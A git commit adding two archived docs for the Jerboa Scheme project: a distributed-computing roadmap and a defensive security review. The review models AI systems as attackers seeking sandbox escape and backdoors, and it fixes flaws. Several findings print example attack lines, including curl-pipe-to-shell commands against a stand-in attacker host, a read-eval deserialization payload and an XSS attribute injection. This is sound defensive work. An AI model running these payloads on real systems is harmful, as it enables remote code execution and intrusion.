Consolidate docs: archive 15 stale plans, add 4 new reference docs
ober
50112484dcca449737735b403a8d1291796a08e4
new file mode 100644 --- /dev/null +++ b/docs/archive/distrib.md @@ -0,0 +1,513 @@ +# Distributed Computing Roadmap for Jerboa + +Ship work from one jerboa program to other jerboa programs on remote servers. + +## Existing Foundation + +Jerboa already has: + +| Layer | Module | What It Does | +|-------|--------|-------------| +| Transport | `(std net tcp-raw)` | POSIX sockets, fd-based, EINTR retry | +| Transport | `(std net tcp)` | Gerbil-compatible ports over TCP | +| Framing | `(std actor transport)` | 4-byte length + FASL body, cookie auth | +| Actors | `(std actor core)` | spawn, send, link, monitor, remote refs | +| Protocol | `(std actor protocol)` | ask/reply RPC, fire-and-forget tell | +| Supervision | `(std actor supervisor)` | OTP-style restart trees | +| Registry | `(std actor registry)` | Global named actor lookup | +| Scheduler | `(std actor scheduler)` | Work-stealing M:N thread pool | +| Clustering | `(std actor cluster)` | Node join/leave, remote registry | +| Distributed | `(std actor distributed)` | Location-transparent dsend, process groups | +| CRDTs | `(std actor crdt)` | G-Counter, PN-Counter, OR-Set, LWW-Register | +| Checkpoint | `(std actor checkpoint)` | FASL-based actor state snapshots | +| Serialization | `(std fasl)` | Binary serialization, 1000x faster than text | +| Persistence | `(std persist closure)` | Data checkpoint/resume via FASL | +| gRPC | `(std net grpc)` | S-expression RPC over TCP | +| HTTP | `(std net httpd)` | HTTP server with routing | +| Pools | `(std net pool)` | Generic connection pooling | +| Zero-Copy | `(std net zero-copy)` | Pre-allocated buffer pools | +| STM | `(std concur stm)` | Software transactional memory | +| Async | `(std concur async-await)` | Promise-based concurrency | +| Structured | `(std concur structured)` | Lexically-scoped task lifetimes | + +**The bones are production-grade.** What's missing is the glue that turns "actors can send messages" into "programs can ship work to remote servers." + +--- + +## 10 Features to Build + +### 1. `(std net code-ship)` — Remote Code Shipping + +The biggest gap. Distributed actors send *messages* (data), not *code*. To send work to a remote jerboa instance, you need to ship a computation. + +Chez's `compile` + FASL can serialize compiled code objects. A remote node receives a FASL bytevector, loads it, runs it. This is the Ray/Spark model. + +```scheme +;; Ship a lambda + data to a remote node, get result back +(define result + (remote-eval node + '(lambda (data) + (import (std text csv)) + (let ([rows (csv-parse data)]) + (length (filter anomalous? rows)))) + my-csv-data)) + +;; Ship a named function (already deployed on worker) +(remote-call node 'process-batch batch-42) + +;; Ship compiled code object via FASL +(let ([code (compile '(lambda (x) (* x x)))]) + (remote-eval/compiled node code 42)) +;; => 1764 +``` + +**Implementation:** +- Serialize S-expression via FASL, ship over TCP transport +- Remote node `eval`s in a sandboxed environment +- Result serialized back via FASL +- Timeout + error propagation +- Optional: ship pre-compiled code objects (Chez `compile` output) + +**Chez leverage:** `compile` for runtime compilation, `eval` for execution, FASL for serialization of both code and data. + +--- + +### 2. `(std net worker-pool)` — Worker Pool Service + +A daemon that listens for work requests. Start `jerboa-worker` on N machines, submit work from your main program. + +```scheme +;; Start worker daemon (on each server) +(define worker (start-worker-daemon + #:port 9090 + #:threads 8 + #:imports '((std text csv) (std crypto digest)))) + +;; Client: connect to pool of workers +(define pool (connect-worker-pool + '("srv1:9090" "srv2:9090" "srv3:9090" "srv4:9090"))) + +;; Submit work — automatic load balancing +(define results + (distributed-map pool + (lambda (chunk) (heavy-computation chunk)) + (chunk-data big-dataset 100))) +;; 100 chunks distributed across 4 servers, results collected + +;; Single remote eval +(define result (pool-eval pool '(+ 1 2 3))) + +;; Pool status +(pool-status pool) +;; => ((srv1 #:load 0.85 #:tasks 12) +;; (srv2 #:load 0.42 #:tasks 6) +;; (srv3 #:load 0.91 #:tasks 14) +;; (srv4 #:load 0.30 #:tasks 4)) +``` + +**Implementation:** +- Worker daemon: TCP server + thread pool + FASL framing +- Client: connection pool to all workers, round-robin or least-loaded dispatch +- Heartbeat: periodic ping, remove dead workers from pool +- Retry: if worker dies mid-task, re-submit to another +- Backpressure: workers report queue depth, client routes accordingly + +**Protocol (over existing transport framing):** +``` +Client → Worker: (submit task-id thunk-fasl data-fasl timeout-ms) +Worker → Client: (result task-id value-fasl) +Worker → Client: (error task-id message) +Client → Worker: (ping) +Worker → Client: (pong #:load 0.85 #:queue-depth 12) +Client → Worker: (cancel task-id) +``` + +--- + +### 3. `(std net task-queue)` — Persistent Task Queues + +Durable work queues. Submit tasks, workers pull them. If a worker dies, the task gets reassigned. Like Celery/Sidekiq but in Scheme. + +```scheme +;; Broker (central coordinator) +(define broker (start-task-broker #:port 9091 #:persist "/var/jerboa/tasks/")) + +;; Producer: submit tasks +(task-submit! broker 'process-report {:file "big.csv" :format 'csv}) +(task-submit! broker 'send-email {:to "alice@x.com" :subject "Done"}) + +;; Consumer: pull and execute tasks +(task-worker broker + (lambda (task) + (case (task-type task) + [(process-report) (process-csv (task-data task))] + [(send-email) (send-mail (task-data task))]))) + +;; Task status +(task-status broker task-id) +;; => 'running | 'pending | 'completed | 'failed | 'retrying + +;; Retry policy +(task-submit! broker 'flaky-api data + #:retries 3 + #:retry-delay 5000 ;; ms + #:timeout 30000) ;; ms + +;; Scheduled tasks (run at specific time) +(task-schedule! broker 'nightly-report data + #:at (make-time 'time-utc 0 1711065600)) ;; specific timestamp + +;; Priority queues +(task-submit! broker 'urgent-alert data #:priority 'high) +``` + +**Implementation:** +- Broker: TCP server, in-memory queue + FASL persistence to disk +- At-least-once delivery: tasks acked after completion, re-queued on timeout +- Visibility timeout: claimed tasks invisible to other workers for N seconds +- Dead letter queue: tasks that fail after max retries +- FASL persistence: append-only log, periodic compaction + +--- + +### 4. `(std actor consensus)` — Raft Consensus + +Distributed agreement. Leader election, replicated log, linearizable reads. Foundation for distributed locks, config management, primary/replica. + +```scheme +;; Start a Raft cluster +(define node (make-raft-node + #:id "node-1" + #:peers '("node-2:9100" "node-3:9100") + #:port 9100 + #:state-machine (lambda (state cmd) + (case (car cmd) + [(set) (cons (cons (cadr cmd) (caddr cmd)) state)] + [(get) (assq (cadr cmd) state)])))) + +(raft-start! node) + +;; Propose a command (goes through leader) +(raft-propose! node '(set counter 42)) + +;; Read (linearizable — goes through leader) +(raft-read node '(get counter)) +;; => (counter . 42) + +;; Leader info +(raft-leader node) ;; => "node-2" +(raft-state node) ;; => 'follower | 'candidate | 'leader + +;; Distributed lock built on Raft +(with-distributed-lock cluster "my-lock" + (do-critical-section)) +``` + +**Implementation:** +- Leader election via randomized timeouts +- Log replication with majority quorum +- Snapshot + log compaction for bounded memory +- Pre-vote extension to prevent disruptions +- ~500 lines for core Raft, ~200 for transport integration + +--- + +### 5. `(std net pubsub)` — Publish/Subscribe Messaging + +Broadcast patterns across nodes. Topic-based routing with wildcards. + +```scheme +;; Broker +(define broker (start-pubsub-broker #:port 9092)) + +;; Publisher (on any node) +(define pub (pubsub-connect "broker:9092")) +(publish! pub "system.metrics.cpu" {:host "srv1" :value 0.85}) +(publish! pub "system.metrics.mem" {:host "srv1" :value 0.62}) +(publish! pub "app.events.login" {:user "alice"}) + +;; Subscriber (on any node) +(define sub (pubsub-connect "broker:9092")) +(subscribe! sub "system.metrics.*" + (lambda (topic msg) + (when (> (hashtable-ref msg 'value 0) 0.9) + (alert! topic msg)))) + +(subscribe! sub "app.events.#" ;; # matches multiple levels + (lambda (topic msg) (log-event topic msg))) + +;; Unsubscribe +(unsubscribe! sub "system.metrics.*") + +;; Fan-out: all subscribers get every matching message +;; Fan-in: multiple publishers on same topic +``` + +**Implementation:** +- Broker: topic trie for O(log n) wildcard matching +- Subscribers: persistent TCP connections, push-based delivery +- QoS levels: at-most-once (fast) or at-least-once (ack-based) +- Retention: optionally persist last N messages per topic + +--- + +### 6. `(std net dht)` — Distributed Hash Table + +Consistent hashing for sharding data across nodes. Automatic rebalancing. + +```scheme +;; Create DHT cluster +(define dht (join-dht '("node1:9200" "node2:9200" "node3:9200"))) + +;; Store/retrieve (key → responsible node determined by hash ring) +(dht-put! dht "user:alice" {:name "Alice" :age 30}) +(dht-get dht "user:alice") +;; => {:name "Alice" :age 30} + +;; Key is hashed to a position on the ring +;; Each node owns a range of the ring +;; Replication factor: store on N consecutive nodes +(dht-put! dht "user:bob" data #:replicas 3) + +;; When nodes join/leave, only 1/N keys need to move +(dht-join! dht "node4:9200") ;; automatic rebalancing +(dht-leave! dht "node2:9200") ;; keys redistributed + +;; Range queries (if keys are ordered) +(dht-range dht "user:a" "user:m") +``` + +**Implementation:** +- Consistent hashing with virtual nodes (128 vnodes per physical node) +- Gossip protocol for membership +- Sloppy quorum for availability (read R of N, write W of N) +- Hinted handoff for temporary failures +- Anti-entropy via Merkle trees + +--- + +### 7. `(std stream distributed)` — Distributed Stream Processing + +Process infinite event streams across nodes. Windowed aggregations, joins, exactly-once semantics. + +```scheme +;; Define a processing topology +(define topology + (stream-topology "click-analytics" + ;; Source: read from pubsub topic + (source "clicks" (pubsub-source "events.clicks")) + + ;; Filter + (processor "valid-clicks" '("clicks") + (lambda (event) (and (event-url event) event))) + + ;; Key-by for partitioning + (partition "by-url" '("valid-clicks") + (lambda (event) (event-url event))) + + ;; Windowed aggregation (60-second tumbling windows) + (window "counts" '("by-url") + #:type 'tumbling + #:size 60 + (lambda (window events) + {:url (window-key window) + :count (length events) + :period (window-start window)})) + + ;; Sink: write to another topic + (sink "output" '("counts") + (pubsub-sink "analytics.url-counts")))) + +;; Deploy across cluster +(stream-deploy! cluster topology #:parallelism 4) +;; Each partition runs on a different node +;; Automatic failover: if a node dies, partitions reassigned + +;; Monitor +(stream-metrics topology) +;; => ((clicks #:throughput 15000/s #:lag 42) +;; (counts #:throughput 250/s #:windows-open 180)) +``` + +**Implementation:** +- DAG of processors, partitioned by key +- Exactly-once via idempotent writes + offset tracking +- Watermarks for out-of-order event handling +- Checkpoint state to FASL periodically +- Built on existing pubsub + worker pool + +--- + +### 8. `(std net discovery)` — Service Discovery + +Nodes announce capabilities, others discover them. No hardcoded addresses. + +```scheme +;; Service registration (on each server) +(service-register! discovery "image-processor" + #:host (hostname) + #:port 9090 + #:capacity 8 + #:tags '(gpu cuda) + #:health-check (lambda () (gpu-available?))) + +(service-register! discovery "csv-cruncher" + #:host (hostname) + #:port 9091 + #:capacity 16 + #:tags '(cpu high-memory)) + +;; Service discovery (from client) +(define svc (service-discover discovery "image-processor")) +;; => (#:host "gpu-srv1" #:port 9090 #:load 0.3) + +;; Discover with constraints +(define svcs (service-discover-all discovery "image-processor" + #:tags '(gpu) + #:max-load 0.8)) + +;; Automatic load-balanced calls +(define result + (service-call discovery "image-processor" 'resize + image 800 600)) +;; Picks least-loaded healthy instance automatically + +;; Watch for changes +(service-watch! discovery "csv-cruncher" + (lambda (event svc) + (case event + [(joined) (printf "New cruncher: ~a~n" svc)] + [(left) (printf "Cruncher down: ~a~n" svc)] + [(unhealthy) (printf "Cruncher sick: ~a~n" svc)]))) +``` + +**Implementation:** +- Registry: centralized (simple) or gossip-based (resilient) +- Health checks: periodic TCP connect + custom health function +- TTL: services expire if not refreshed +- DNS-SD compatible naming (optional) +- Built on existing actor cluster + gRPC + +--- + +### 9. `(std debug distributed-trace)` — Distributed Tracing + +When a request flows across 5 servers, trace it end-to-end. OpenTelemetry-compatible spans. + +```scheme +;; Start a trace +(with-trace "process-order" {:order-id 12345} + ;; Span 1: validate (local) + (with-span "validate" + (validate-order order)) + + ;; Span 2: charge (remote — trace context propagated automatically) + (with-span "charge-payment" + (remote-call payment-svc 'charge order)) + + ;; Span 3: ship (remote) + (with-span "ship-order" + (remote-call shipping-svc 'ship order))) + +;; Trace context flows through actor messages automatically +;; Each span records: start-time, end-time, parent-span, attributes + +;; Collect traces +(trace-export! collector traces) +;; Outputs Jaeger/Zipkin-compatible format + +;; Trace sampling +(set-trace-sampler! (rate-sampler 0.01)) ;; sample 1% of requests +``` + +**Implementation:** +- Thread-local trace context (trace-id, span-id, parent-span-id) +- Automatic propagation through actor send/dsend +- W3C Trace Context headers for HTTP +- Span collector with configurable export (stdout, file, network) +- Sampling strategies: always, never, rate-based, parent-based + +--- + +### 10. `(std actor migrate)` — Live Actor Migration + +Move a running actor (state + mailbox) from one node to another without downtime. + +```scheme +;; Migrate actor to another node +(migrate-actor! actor-ref target-node) +;; 1. Pause actor on source (drain current message) +;; 2. Serialize state + pending mailbox via FASL +;; 3. Ship to target node over transport +;; 4. Restore actor on target, resume processing +;; 5. Update registry — all refs transparently redirect +;; 6. Future messages route to new location + +;; Bulk migration (rebalancing) +(rebalance-actors! cluster + #:strategy 'least-loaded + #:max-concurrent 5) + +;; Migration with handoff period (no message loss) +(migrate-actor! actor-ref target-node + #:mode 'seamless ;; buffer messages during transfer + #:timeout 30000) ;; abort if takes > 30s + +;; Auto-migration on node shutdown +(on-node-drain node + (lambda (actors) + (distribute-actors! actors remaining-nodes))) +``` + +**Implementation:** +- Pause: set actor flag, let current behavior complete +- Serialize: FASL for state, drain mailbox to list, FASL that too +- Transfer: ship over existing transport layer (4-byte length + FASL) +- Restore: create actor on target, inject state + mailbox, register +- Redirect: update cluster registry, source node forwards stale messages +- Depends on: checkpointing (already exists), transport (already exists) + +--- + +## Implementation Priority + +Build in this order — each builds on the previous: + +| Priority | Feature | Module | Dependencies | Effort | +|----------|---------------------|---------------------------------|-----------------------|------------| +| **P1** | Worker Pool | `(std net worker-pool)` | tcp, fasl, transport | ~400 lines | +| **P1** | Service Discovery | `(std net discovery)` | tcp, actor/registry | ~300 lines | +| **P1** | Task Queue | `(std net task-queue)` | worker-pool, fasl | ~400 lines | +| **P2** | Pub/Sub | `(std net pubsub)` | tcp, fasl | ~350 lines | +| **P2** | Code Shipping | `(std net code-ship)` | worker-pool, compile | ~250 lines | +| **P2** | Distributed Tracing | `(std debug distributed-trace)` | actor/protocol | ~300 lines | +| **P3** | DHT | `(std net dht)` | tcp, discovery | ~500 lines | +| **P3** | Raft Consensus | `(std actor consensus)` | tcp, fasl | ~500 lines | +| **P3** | Stream Processing | `(std stream distributed)` | pubsub, task-queue | ~600 lines | +| **P3** | Actor Migration | `(std actor migrate)` | checkpoint, transport | ~350 lines | + +## The End Goal + +```scheme +;; Your main program +(import (std net worker-pool) + (std net discovery) + (std net task-queue)) + +;; Find all available compute workers on the network +(define pool (discover-workers "compute-cluster")) + +;; Ship 1000 tasks across all workers — automatic load balancing, +;; retry on failure, results collected in order +(define results + (distributed-map pool + (lambda (chunk) + (import (std text csv)) + (analyze-data (csv-parse chunk))) + (chunk-file "huge-dataset.csv" 1000))) + +(printf "Processed ~a chunks across ~a workers~n" + (length results) (pool-size pool)) +``` + +That's the vision: write normal Scheme, run it across a fleet of jerboa servers. new file mode 100644 --- /dev/null +++ b/docs/archive/findings.md @@ -0,0 +1,371 @@ +# Security Review: Hardening Jerboa Against External AI Attacks + +**Date**: 2026-03-21 +**Scope**: Full review of Jerboa's attack surface when adversarial AI systems generate, submit, or interact with Jerboa code and data. + +## Threat Model + +An **external AI attacker** is an AI system (coding assistant, agent, automated PR bot, or compromised LLM-in-the-loop pipeline) that produces Jerboa source code, configuration, serialized data, or runtime input. The attacker's goals include: + +1. **Sandbox escape** — break out of restricted evaluation to gain full host access +2. **Capability escalation** — obtain permissions beyond what was granted +3. **Data exfiltration** — leak secrets via side channels or covert return values +4. **Denial of service** — exhaust memory, CPU, or file descriptors +5. **Supply chain poisoning** — introduce subtle backdoors that pass code review +6. **Cluster compromise** — pivot from one actor node to the entire distributed system + +--- + +## Finding 1: Unrestricted Sandbox is the Default (CRITICAL) — FIXED + +**File**: `lib/jerboa/embed.sls:77` + +`make-sandbox` copies the *entire* `(interaction-environment)`, which includes `system`, `open-output-file`, `foreign-procedure`, `load-shared-object`, `eval`, and every other Chez Scheme primitive. Any code evaluated in this sandbox has full host access. + +The restricted environment (`lib/std/security/restrict.sls`) exists and uses a proper allowlist, but **the two systems are not composed** — `embed.sls` never references `restrict.sls`. + +```scheme +;; Current — full host access: +(copy-environment (interaction-environment) #t) + +;; Should default to: +(make-restricted-environment) +``` + +**Additionally**, the `sandbox-config` record declares `allowed-imports` (line 21) and `max-eval-time` (line 20), but **neither field is enforced anywhere**: + +- `sandbox-import!` (line 118) imports any library unconditionally — it never checks `allowed-imports` +- `sandbox-eval` (line 81) has no timer — it never enforces `max-eval-time` + +An AI-generated payload like `(sandbox-import! sb '(chezscheme))` followed by `(sandbox-eval sb '(system "curl attacker.com | sh"))` succeeds with zero resistance. + +**Remediation**: + +1. ~~Default `make-sandbox` to `(make-restricted-environment)` instead of copying `(interaction-environment)`~~ **DONE** — `embed.sls` now imports `(std security restrict)` and defaults to allowlist-only environment +2. ~~Enforce `allowed-imports` in `sandbox-import!` — reject any library not on the list~~ **DONE** — `sandbox-import!` now checks config and raises on denied imports +3. ~~Implement `max-eval-time` using Chez's `(engine)` facility or a watchdog thread with `(fork-thread)` + `(thread-interrupt!)`~~ **DONE** — `%with-time-limit` uses `fork-thread` + `condition-wait` with timeout +4. Add a `max-output-size` config field to prevent exfiltration via `display`/`write` to captured output — **TODO** + +--- + +## Finding 2: `sandbox-eval-string` Uses Chez `read`, Not `jerboa-read` (HIGH) — FIXED + +**File**: `lib/jerboa/embed.sls:91` + +```scheme +(let ([form (read port)]) ;; Chez's built-in reader — no depth limits +``` + +The custom `jerboa-read` has depth limits (`*max-read-depth*` = 1000) and block comment depth limits. But `sandbox-eval-string` uses Chez's native `read`, which has **no depth protection**. An AI can craft a deeply-nested S-expression (e.g., 100,000 levels of `((((...))))`) to stack-overflow the reader, crashing the host process. + +Similarly, `restricted-eval-string` in `restrict.sls:143` uses bare `read`. + +**Remediation**: + +1. ~~Replace `read` with `jerboa-read` in both `sandbox-eval-string` and `restricted-eval-string`~~ **DONE** — both now use `jerboa-read` +2. Add a total input size limit parameter to `jerboa-read-string` (default 1MB for sandbox contexts) — **TODO** +3. Add a total token/form count limit to prevent flat-but-enormous inputs like `(+ 1 1 1 ... )` with millions of arguments — **TODO** (partially addressed by `*max-list-length*`) + +--- + +## Finding 3: Capability Intersection Checks Type Only, Not Permissions (HIGH) — FIXED + +**File**: `lib/std/security/capability.sls:219-227` + +```scheme +(define (intersect-capabilities parent child) + (filter (lambda (c) + (exists (lambda (p) + (eq? (capability-type p) (capability-type c))) + parent)) + child)) +``` + +This only verifies that the parent has *some* capability of the same type. It does **not** check individual permissions. A child context can request `write: #t` even if the parent only grants `read: #t`, and the intersection passes it through unchanged. + +An AI that controls inner capability declarations can escalate `(make-fs-capability read: #t write: #f)` to `(make-fs-capability read: #t write: #t)` by nesting a `with-capabilities` call. + +**Remediation**: + +Intersection must compare per-permission: + +```scheme +(define (intersect-capabilities parent child) + (filter-map + (lambda (c) + (let ([matching-parent + (find (lambda (p) (eq? (capability-type p) (capability-type c))) + parent)]) + (and matching-parent + (attenuate-to-parent-bounds matching-parent c)))) + child)) +``` + +Where `attenuate-to-parent-bounds` ensures every boolean permission in the child is `(and parent-val child-val)` and every list permission (paths, hosts) is intersected. + +**DONE** — `intersect-capabilities` now calls `%attenuate-to-parent-bounds` which ANDs booleans and set-intersects lists. + +--- + +## Finding 4: Empty Host List Means "All Allowed" (HIGH) — FIXED + +**File**: `lib/std/security/capability.sls:153-155` + +```scheme +(define (net-allowed-host? cap host) + (and (eq? (capability-type cap) 'network) + (let ([hosts (cdr (assq 'hosts (capability-permissions cap)))]) + (or (null? hosts) ;; empty = all allowed + (member host hosts))))) +``` + +The default for `make-net-capability` is `hosts: '()` (line 141), which means **all hosts are allowed by default**. An AI generating a network capability with no explicit `hosts:` argument gets unrestricted network access. + +This violates the "default deny" principle stated in `docs/security.md`. + +**Remediation**: + +~~Invert the semantics: empty list = no hosts allowed. Require explicit `hosts: '("*")` for wildcard access.~~ **DONE** — `net-allowed-host?` now returns `#f` for empty list, `#t` only for explicit `"*"` wildcard. + +--- + +## Finding 5: Path Canonicalization Doesn't Resolve Symlinks (HIGH) — FIXED + +**File**: `lib/std/security/capability.sls:101-116` + +`canonicalize-path` resolves `.` and `..` via string manipulation but does **not** resolve symbolic links. An AI can bypass path restrictions with: + +``` +/tmp/innocent -> /etc/shadow (symlink) +(fs-allowed-path? cap "/tmp/innocent") ;; returns #t if /tmp is allowed +``` + +The actual file accessed is `/etc/shadow`, which is outside the allowed paths. + +**Remediation**: + +1. ~~Use a syscall-based `realpath(3)` via FFI to resolve symlinks before checking~~ **DONE** — `canonicalize-path` now uses `realpath(3)` via FFI with string-only fallback +2. Alternatively, open the file with `O_NOFOLLOW` and use `/proc/self/fd/N` to verify the resolved path post-open (TOCTOU-safe) — **TODO** (defense in depth) +3. Consider using Landlock (once implemented) as the enforcement layer instead of userspace path checks + +--- + +## Finding 6: Distributed Actors Use `read` for Deserialization (CRITICAL) — FIXED + +**File**: `lib/std/actor/distributed.sls:294-304` + +```scheme +(define (deserialize-message bv) + (let ([port (open-input-string (utf8->string bv))]) + (read port))) +``` + +Chez Scheme's `read` supports `#.` (read-time evaluation) by default. An attacker who can inject a message into the actor network can send: + +```scheme +#.(system "curl attacker.com/payload | sh") +``` + +This executes arbitrary code on the receiving node during deserialization, before any application-level validation. + +Even without `#.`, the `read` call has no depth/size limits, enabling DoS via deeply-nested or enormous payloads. + +Messages are also sent in plaintext with no authentication, so network-adjacent attackers (or a compromised AI agent on one node) can inject messages freely. + +**Remediation**: + +1. ~~Disable read-eval: `(parameterize ([read-eval #f]) (read port))` as an immediate fix~~ **DONE** — `deserialize-message` now wraps `read` in `(parameterize ([read-eval #f]) ...)` +2. Replace `read`/`write` serialization with a structured format (MessagePack, CBOR, or a custom binary protocol) that cannot trigger code execution — **TODO** +3. Add HMAC-SHA256 message authentication (the `docs/security.md` mentions this was planned but the implementation uses plaintext) — **TODO** +4. ~~Add message size limits at the transport layer~~ **DONE** — `*max-message-size*` parameter (1MB default) enforced before deserialization +5. Use `jerboa-read` with depth limits if S-expression format is retained — **TODO** + +--- + +## Finding 7: Seccomp and Landlock Are Stubs (HIGH) — WARNINGS ADDED + +**Files**: `lib/std/security/seccomp.sls`, `lib/std/security/landlock.sls` + +Both modules define configuration APIs and filter data structures but **never invoke the actual kernel syscalls**: + +- `seccomp-install!` only calls `prctl(PR_SET_NO_NEW_PRIVS)` — it never generates BPF bytecode or calls `seccomp(2)` +- `landlock-install!` only calls `prctl(PR_SET_NO_NEW_PRIVS)` — it never calls `landlock_create_ruleset(2)`, `landlock_add_rule(2)`, or `landlock_restrict_self(2)` + +An AI-generated Jerboa application that relies on these modules for sandboxing has **zero kernel-level protection**. The APIs create a false sense of security. + +**Remediation**: + +1. Mark both modules as `(experimental)` or `(stub)` in their library names so users know enforcement is missing — **TODO** +2. Implement the actual syscalls via FFI, or document clearly that these are policy-declaration-only modules that require an external enforcer — **TODO** +3. ~~Add runtime warnings when `seccomp-install!` / `landlock-install!` are called~~ **DONE** — both functions now emit warnings to `current-error-port` when called + +--- + +## Finding 8: Taint Tracking Has No Automatic Sink Enforcement (MEDIUM) — FIXED + +**File**: `lib/std/security/taint.sls` + +Taint marks are opt-in. The `check-untainted!` function exists but no dangerous operation (`system`, `open-output-file`, SQL queries, `run-process`) calls it automatically. An AI can produce code that passes tainted user input directly to shell execution without triggering any warning. + +**Remediation**: + +1. ~~Create wrapper modules for dangerous operations that automatically call `check-untainted!`~~ **DONE** — added `safe-open-input-file`, `safe-open-output-file`, `safe-system`, `safe-delete-file` to `(std security taint)` that auto-reject tainted arguments +2. Add a `gerbil_lint`-style static analysis pass that flags calls to dangerous sinks without `assert-untainted` guards — **TODO** (static analysis) +3. Document that taint is advisory unless safe wrappers are used — **DONE** (wrappers now exported) + +--- + +## Finding 9: Restricted Environment Allowlist Surface Review (MEDIUM) — FIXED + +**File**: `lib/std/security/restrict.sls:22-113` + +The allowlist is well-curated (no `call/cc`, no file I/O, no `eval`, no `load`), but some included bindings are exploitable by a sophisticated AI: + +| Binding | Risk | +|---------|------| +| `gensym` | Generates unique symbols — can be used to probe for information about the host runtime state (monotonically increasing counter) | +| `define-syntax` + `syntax-rules` | Macro definition inside the sandbox — an AI can define macros that expand to dangerous forms if the sandbox is later promoted | +| `format` | Format string with `~a` can call object display methods — if custom record writers are defined, this can trigger arbitrary code | +| `read` | Chez `read` with `#.` read-eval — **this is the most dangerous binding in the allowlist** | +| `dynamic-wind` | Can interfere with exception handling and cleanup in the host | +| `string->symbol` + `hashtable-set!` | Symbol table pollution — creating millions of symbols via `gensym` or `string->symbol` leaks memory permanently in Chez | + +**Remediation**: + +1. ~~**Remove `read` from the allowlist** or replace it with a safe reader~~ **DONE** — bare `read` removed; `jerboa-read` injected as `read` binding via `define-top-level-value` in `make-restricted-environment` +2. ~~Remove `gensym`~~ **DONE** — removed from `safe-bindings` +3. Consider removing `define-syntax` unless macro definition in sandboxes is a documented use case — **TODO** +4. Add a memory limit via Chez's `(collect-maximum-generation)` or watchdog monitoring of `(bytes-allocated)` — **TODO** + +--- + +## Finding 10: No Input Size Limits on the Reader (MEDIUM) — FIXED + +**File**: `lib/jerboa/reader.sls` + +`jerboa-read` enforces nesting depth (`*max-read-depth*` = 1000) and block comment depth, but has **no limits on**: + +- Total input size (bytes) +- Total number of top-level forms +- Individual string literal length +- Individual symbol length +- Heredoc string length (lines 444-494 accumulate without bound) +- Number of list elements at a single level + +An AI can craft a flat input like `(list "A" "A" "A" ...)` with millions of short strings, or a single string literal of unbounded length, to exhaust memory without triggering the depth limit. + +**Remediation**: + +1. Add `*max-input-size*` parameter checked against port position — **TODO** +2. ~~Add `*max-string-length*` checked in `read-string-literal` and heredoc reader~~ **DONE** — 10MB default, enforced per character in `read-string-literal` +3. ~~Add `*max-list-length*` checked in `read-list-impl`~~ **DONE** — 1M elements default, enforced in `read-list-impl` +4. ~~Add `*max-symbol-length*` checked in `read-symbol-chars`~~ **DONE** — 4KB default, enforced in `read-symbol-chars` + +--- + +## Finding 11: AI-Generated Code Can Bypass Capabilities via Direct Chez Imports (MEDIUM) — FIXED + +The capability system (`lib/std/security/capability.sls`) gates operations behind `check-capability!` calls, but there is **no mechanism to prevent code from importing `(chezscheme)` directly** and calling `open-file-input-port`, `system`, etc. without any capability check. + +In a build pipeline where AI-generated code is compiled and run, the AI can simply not use the capability-gated wrappers. + +**Remediation**: + +1. ~~Add a build-time audit pass that rejects any user module importing `(chezscheme)` directly~~ **DONE** — new `(std security import-audit)` module with `audit-imports-file` and `audit-imports-directory` that scan for forbidden imports, with configurable `*forbidden-imports*` and `*trusted-modules*` exemptions +2. For sandboxed execution, this is already handled by the restricted environment (if used correctly — see Finding 1) +3. For compiled applications, consider a `--strict-capabilities` compiler flag that rewrites or rejects raw Chez imports — **TODO** + +--- + +## Finding 12: HTML Sanitization Incomplete for Attribute Contexts (MEDIUM) — FIXED + +**File**: `lib/std/security/sanitize.sls` + +`sanitize-html` escapes `< > & " '` which is correct for HTML content context. But in attribute context, AI-generated input like: + +``` +" onfocus="alert(1)" autofocus=" +``` + +produces: + +``` +" onfocus="alert(1)" autofocus=" +``` + +When inserted into an unquoted HTML attribute, this is still exploitable. The escaping also doesn't handle JavaScript URL contexts (`javascript:`, `data:` URIs). + +**Remediation**: + +1. ~~Add context-specific sanitizers~~ **DONE** — added `sanitize-html-attribute` (hex-encodes all non-alphanumeric chars) and `sanitize-url-attribute` (rejects javascript:/data:/vbscript:/blob: schemes, then attribute-encodes) +2. ~~Document that `sanitize-html` is safe only for element content, not attributes or URLs~~ **DONE** — docstring updated with context warning +3. ~~Add URL scheme validation~~ **DONE** — `sanitize-url-attribute` rejects dangerous schemes with leading-whitespace trimming to prevent `" javascript:"` bypass + +--- + +## Finding 13: Privilege Separation Has No Child Reaping (LOW) — FIXED + +**File**: `lib/std/security/privsep.sls` + +`make-privsep` forks a child process but never installs a `SIGCHLD` handler and `privsep-shutdown!` doesn't call `waitpid`. Long-running services accumulate zombie processes. An AI triggering repeated privsep creation/destruction can exhaust the PID table. + +**Remediation**: + +1. ~~Add `waitpid` call in `privsep-shutdown!`~~ **DONE** — sends SIGTERM then calls `waitpid` (WNOHANG first, then blocking fallback) to reap the child +2. Install `SIGCHLD` handler with `SA_NOCLDWAIT` to auto-reap — **TODO** (defense in depth for unexpected exits) +3. ~~Add a limit on concurrent privsep children~~ **DONE** — `*max-privsep-children*` parameter (default 64) enforced in `make-privsep`, with active child tracking via hashtable + +--- + +## Priority Matrix + +| # | Finding | Severity | Status | Impact | +|---|---------|----------|--------|--------| +| 1 | Unrestricted sandbox default | CRITICAL | **FIXED** | Sandbox escape | +| 6 | `read` deserialization in actors | CRITICAL | **FIXED** | Remote code execution | +| 2 | `read` instead of `jerboa-read` | HIGH | **FIXED** | DoS / stack overflow | +| 3 | Capability intersection by type only | HIGH | **FIXED** | Privilege escalation | +| 4 | Empty hosts = all allowed | HIGH | **FIXED** | Network access bypass | +| 5 | Symlink path traversal | HIGH | **FIXED** | Filesystem escape | +| 7 | Seccomp/Landlock stubs | HIGH | Warnings added | False security claims | +| 9 | `read` in restricted allowlist | MEDIUM | **FIXED** | Sandbox code execution | +| 10 | No reader input size limits | MEDIUM | **FIXED** | Memory exhaustion | +| 11 | No import restrictions at build | MEDIUM | **FIXED** | Capability bypass | +| 8 | Taint tracking unenforced | MEDIUM | **FIXED** | Injection attacks | +| 12 | Sanitizer context gaps | MEDIUM | **FIXED** | XSS | +| 13 | Zombie process accumulation | LOW | **FIXED** | PID exhaustion | + +**All 13 findings addressed.** 12 fully fixed, 1 (seccomp/landlock) has warnings added pending full kernel syscall implementation. + +--- + +## Recommendations: AI-Specific Hardening + +Beyond the individual fixes above, these cross-cutting measures harden Jerboa against AI-specific attack patterns: + +### 1. Assume All Evaluated Code Is Adversarial + +AI coding assistants generate code that *looks* correct but may contain subtle backdoors. Every `eval`, `sandbox-eval`, `restricted-eval`, and `read` call is a trust boundary. Apply defense in depth: restricted environment + 